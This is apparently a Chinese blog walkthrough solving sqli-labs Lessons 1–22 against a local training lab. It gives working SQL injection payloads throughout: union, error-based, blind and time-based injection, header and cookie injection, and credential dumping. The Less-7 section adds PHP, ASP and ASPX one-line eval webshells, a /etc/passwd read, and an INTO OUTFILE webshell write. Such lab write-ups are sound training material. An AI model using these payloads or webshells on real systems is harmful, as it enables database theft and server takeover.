sqli-labs通关笔记

简介: sqli-labs通关笔记

sqli-labs通关笔记

union注入

Sqli-labs-Less-1

根据我的上篇文章中的技巧可轻松判断注入类型,为字符型注入

当我们使用?id=1’时报错,说明存在注入点

使用order by 查看字段数量

使用order by 3 没有报错 使用order by 4 发生报错,说明字段数为3

查看哪些数据可以回显
将?id=1改为?id=-1 或者其它不存在的值,使用union注入

http://127.0.0.1/SQL1/Less-1/?id=-1' union select 1,2,3--+

可以看到2,3发生回显,确定注入点为2,3,直接在2的位子输入sql语句进行注入查询

查看版本和数据库名

http://127.0.0.1/SQL1/Less-1/?id=-1' union select 1,version(),database()--+

查看数据库(group_concat()将查询的字段数合并一起输出)

http://127.0.0.1/SQL1/Less-1/?id=-1' union select 1,2,group_concat(schema_name)  from information_schema.schemata--+

这里我们已经查询到security数据库,下面继续查询security库里面的表

http://127.0.0.1/SQL1/Less-1/?id=-1' union select 1,2,group_concat(table_name)  from information_schema.tables where table_schema='security'--+

这里我们已经查询到users表,继续查询users表里面的字段

http://127.0.0.1/SQL1/Less-1/?id=-1' union select 1,2,group_concat(column_name)  from information_schema.columns where table_name='users'--+

这里我们已经查询到username 和password字段,继续查询username 和password,这里引入一个函数concat_ws(‘a’,b,c),他会将b和c之间用a分割

http://127.0.0.1/SQL1/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('-',username,password))  from security.users--+

至此我们就已经拿到所有的用户账号和密码。

Sqli-labs-Less-2

http://127.0.0.1/SQL1/Less-2/?id=1  #正常回显
http://127.0.0.1/SQL1/Less-2/?id=1' #有报错

判断为数字型注入

使用order by 3 没有报错 使用order by 4 发生报错,说明字段数为3

查看哪些数据可以回显,将?id=1改为?id=-1 或者其它不存在的值,使用union注入 且通过order by结果为3 可以得到

http://127.0.0.1/SQL1/Less-2/?id=-1 union select 1,2,3

我们看到数据2,3发生回显,以下步骤与Sqli-labs-Less-1一样,这里就不再赘述。

Sqli-labs-Less-3

当我们使用?id=1时没有报错,使用?id=1'报错并且提示我们少了个)

因此得出这一关可直接使用?id=1’) 来进行注入攻击

使用order by 3 没有报错 使用order by 4 发生报错,说明字段数为3

http://127.0.0.1/SQL1/Less-3/?id=1') order by 4--+

查看哪些数据可以回显,将?id=1)改为?id=-1)或者其它不存在的值,使用union注入 且通过order by结果为3 可以得到

http://127.0.0.1/SQL1/Less-3/?id=-1') union select 1,2,3--+

我们看到数据2,3发生回显

后面的步骤与Sqli-labs-Less-1一样,这里就不再赘述。

Sqli-labs-Less-4

这里输入?id=1‘不报错,当我们使用?id=1’)时也没有报错,当我们使用?id=1''时报错

这里提示我们少了个)

因此得出这一关可直接使用?id=1") 来进行注入攻击

使用order by 3 没有报错 使用order by 4 发生报错,说明字段数为3

将?id=1改为?id=-1 或者其它不存在的值,使用union注入且通过order by结果为3

http://127.0.0.1/SQL1/Less-4/?id=-1") union select 1,2,3--+

我们看到数据2,3发生回显

下面的步骤和Sqli-labs-Less-1的一样,这里就不再赘述

双查询注入

Sqli-labs-Less-5

当我们尝试输入id=1时,页面不会再返回用户名和密码,而是返回了 You are in………..

http://127.0.0.1/sql1/Less-5/?id=1

输入id=1'这里报错,根据错误信息我们判断为字符型注入

猜测查询语句

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

无回显,有报错,单引号闭合,布尔类型注入 或 双查询注入(布尔比较慢,这关采用双查询)

payload如下

XXX.php/?id=-1' union select 1,count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a --+

成功爆出库名,注意,由于有随机性,可能成功执行了语句所以不会报错,正常的显示页面(即不报错)如下

这种情况多提交几次就行,理论上每次都有百分之50的可能性,但可以通过修改rand()使用的种子来使其百分百报错,如下将rand()改为rand(1),测试百分之百报错:

XXX.php/?id=-1' union select 1,count(*), concat((select database()), floor(rand(1)*2))as a from information_schema.tables group by a --+

获取库中表名

尝试在子查询中利用group_concat函数将几个表名直接连接在一起输出的,但是无用,不能触发报错,还是用limit函数,让查询结果每次一行的显示

http://127.0.0.1/sql1/Less-5/?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(14)*2))as a from information_schema.schemata group by a --+

改变limit函数的参数,依次为limit 0,1,limit 1,1limit 2,1limit 3,1,将4个表名爆出来

sql1-p5-5

最终找到我们需要的表,users

获取目标表中的列数,payload如下

http://127.0.0.1/sql1/Less-5/?id=1' union select 1,count(*),concat((select count(column_name) from information_schema.columns where table_schema='security' and table_name="users"),floor(rand(13)*2)) as a from information_schema.tables where table_schema='security' group by a --+

然后通过limit函数将列名逐一爆出来,payload如下,改变limit的变量即可,下面省略获取过程,直接写payload

http://127.0.0.1/sql1/Less-5/?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name="users" limit 0,1),floor(rand(12)*2)) as a from information_schema.tables where table_schema='security' group by a --+

从列中获取用户名,一样的改变limit参数,获得全部的用户名

http://127.0.0.1/sql1/Less-5/?id=1' union select 1,count(*),concat((select username from users limit 0,1),floor(rand(18)*2)) as a from security.users  group by a --+

用户名获取后再查密码

http://127.0.0.1/sql1/Less-5/?id=1' union select 1,count(*),concat((select password from users  where username='admin'),floor(rand(11)*2)) as a from users group by a --+

获取成功

Sqli-labs-Less-6

Pass-6和Pass-5的基本思路一样,把第五关中的单引号换成双引号就行了。

双查询参考链接

https://www.cnblogs.com/laoxiajiadeyun/p/10278512.html

https://www.cnblogs.com/laoxiajiadeyun/p/10283251.html

文件导入注入

Sqli-labs-Less-7

本关的标题是 dump into outfile,意思是本关我们利用文件导入的方式进行注入

知识点

load_file()函数读文件操作
select load_file('/etc/passwd')
into outfile写文件操作
select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'

一句话木马

#php的一句话
<?php @eval($_POST['ckcadmin']);?> 
#asp的一句话
<%eval request ("ckcadmin")%> 
#aspx的一句话
<%@ Page Language="ckcadmin"%> <%eval(Request.Item["ckcadmin"],"unsafe");%>

payload

?id=1')) and 1=2--+

这里我们使用into outfile函数配合一句话木马去上传文件拿到网站的webshell

http://127.0.0.1/sql1/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["ckc"]);?>' into outfile "E:\\wamp64\\www\\sql1\\Less-7\\shell.php" --+

成功写入,然后蚁剑连接即可

sql-p7-3

布尔类型注入

Sqli-labs-Lass-8

payload

?id=1' and 1=1--+

猜测查询语句

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

无报错,无回显,单引号闭合,布尔类型注入

?id=1' and ascii(substr(database(),1,1))>=115--+

首先猜解数据库的长度。数据库猜解长度的函数length

?id=1' and length(database())>1--+ #肯定大于1,这个事实
?id=1' and length(database())>7--+ #大于7
?id=1' and length(database())>8--+ #不大于8
?id=1' and length(database())=8--+ #数据库等于8,然后呢!

通过ascii()和substr()猜测数据库名

ascii() #返回指定数字对应的ascii码字符函数
substr() #截取从pos位置开始到最后的所有str字符串

然后猜解字符了,115对应字母s,然后按这个一个一个猜解,编辑坑爹呀!还是写个字典用burp跑
burp设置如下

设置变量

设置参数

过滤

按上面的配置完成后,按个爆破即可

延时注入

Sql-labs-Less-9

paylaod

?id=1' and sleep(5)--+
?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5))--+

Sql-labs-Less-10

paylaod

?id=2" and sleep(3)--+

无回显,双引号闭合,无报错,延时注入

?id=1" and if(ascii(substr(database(),1,1))>115, 0, sleep(5))--+

POST注入

Sql-labs-Less-11

POST请求发送的数据不会直接显示在浏览器端需要用到bp或者hackbar

paylaod

uname=1' order by 2#&passwd=1&submit=Submit

确定回显位置

后面的过程和Sql-labs-Less-1的union注入一样,就不再赘述

还可以用sqlmap

直接将 Burpsuite 截取的数据包内容保持为文本格式 sql11.txt

POST /sql1/Less-11/ HTTP/1.1
Host: 127.0.0.1
Content-Length: 30
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/sql1/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

uname=1&passwd=s&submit=Submit

然后使用 sqlmap 的 -r 参数来加载这个请求包:

python sqlmap.py -r sql11.txt

Sql-labs-Less-12

有报错,有回显,双引号+括号闭合,union注入

可尝试联合、报错、布尔盲注、延时盲注

payload

uname=1") or 1=1#&passwd=&submit=Submit

Sql-labs-Less-13

有报错,无回显,有布尔状态,单引号+括号闭合 报错注入

payload

uname=1') or 1=1#&passwd=&submit=Submit

Sql-labs-Less-14

有报错,无回显,有布尔状态,双引号闭合 报错注入

payload

uname=1" or 1=1#&passwd=1&submit=Submit

Sql-labs-Less-15

源码中注释掉了 MySQL 的报错日志,所以这里就不可以进行报错注入了,只能使用布尔盲注或者延时盲注

payload

uname=1' or length(database())>3#&passwd=1&submit=Submit

Sql-labs-Less-16

和Sql-labs-Less-15一样,闭合方式不一样,双引号闭合

payload

uname=1") or length(database())>1#&passwd=1&submit=Submit

Sql-labs-Less-17

这一关对用户名的过滤了,需要爆破用户名 admin,对密码没有过滤,

#uname 参数被过滤了
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];
#SELECT 语句只获取 uname 参数
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

无回显,有报错,密码段无过滤,单引号闭合,报错注入

uname=admin&passwd=a' or updatexml(1,concat(0x7e,(database()),0x7e),1)#&submit=Submit

或者

uname=admin&passwd=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit

Sql-labs-Less-18

User-Agent 注入

无回显,抓包修改user-Agent注入,有报错,单引号闭合

'or 1=1

Sql-labs-Less-19

Referer 注入

有回显,有报错,抓包修改Referer头注入,单引号闭合

'1 or 1=1

Cookie 注入

Sql-labs-Less-20

Cookie 注入

有回显,有报错,抓包修改Cookie注入,单引号闭合

Sql-labs-Less-21

跟Sql-labs-Less-20一样,把cookie base64就好了

Sql-labs-Less-22

跟Sql-labs-Less-21关一样,不过是双引号闭合

目录
相关文章
|
1月前
|
NoSQL Ubuntu Linux
CTF-Pwn 入门:环境搭建
CTF-Pwn 入门:环境搭建
|
6月前
|
开发框架 监控 Kubernetes
CTF本地靶场搭建——GZ:CTF基础使用
GZ::CTF是一个基于ASP.NET Core的开源CTF竞赛平台,支持Docker或K8s容器部署,提供静态和动态题目类型,包括静态附件、动态附件、静态容器和动态容器,具备动态分值功能,如三血奖励和动态flag作弊检测。平台还具有实时通知、邮件验证、用户权限管理、Writeup收集、流量代理转发等功能。此外,它包含比赛管理、队伍管理、用户管理等多个管理模块,适合举办和参与网络安全竞赛。
|
6月前
|
Ubuntu 网络安全 开发者
CTF本地靶场搭建——GZ:CTF安装
GZCTF是一个开源的网络安全竞技平台,由GZTimeWalker维护,提供环境供爱好者和专业人士通过解决CTF题目提升技能。本文档介绍了在Ubuntu 20.04上部署GZCTF的步骤,包括安装操作系统、配置清华镜像源、更新软件、安装Docker和docker-compose,以及根据GZCTF文档创建配置文件并启动服务。完成部署后,用户可在浏览器中看到GZCTF平台。
|
5月前
|
SQL 安全 数据库
技术心得:实验室每日一题WP
技术心得:实验室每日一题WP
27 0
|
6月前
|
SQL 安全 测试技术
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs
|
5月前
|
数据安全/隐私保护
【less-3】sqli-labs靶场第三关
【less-3】sqli-labs靶场第三关
|
6月前
|
安全 测试技术 数据库
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)
|
6月前
|
SQL PHP 数据库
Sqli-labs靶场搭建
本文章是在自己在使用新版phpstudy搭建靶场过程中遇到了很多问题,但在查询无果后,决定尝试旧版的phpstudy看能否成功,很幸运,成功了,也并不是网上的教程,说是php必须在5.2及以下.我使用的是5.4版本的.是对SQL注入进行一个简单的回归,然后就是对于自己在搭建靶场中所遇到的一些问题的解决办法,以及进行安装步骤的总结,对于自己的自主配置和独立解决问题的能力是一种培养
|
6月前
|
安全 前端开发 PHP
Upload-labs 通关解析(上)
Upload-labs 靶场通关解析(上)
|
6月前
|
安全 测试技术 PHP
如何搭建 sqli-labs 靶场保姆级教程(附链接)
如何搭建 sqli-labs 靶场保姆级教程(附链接)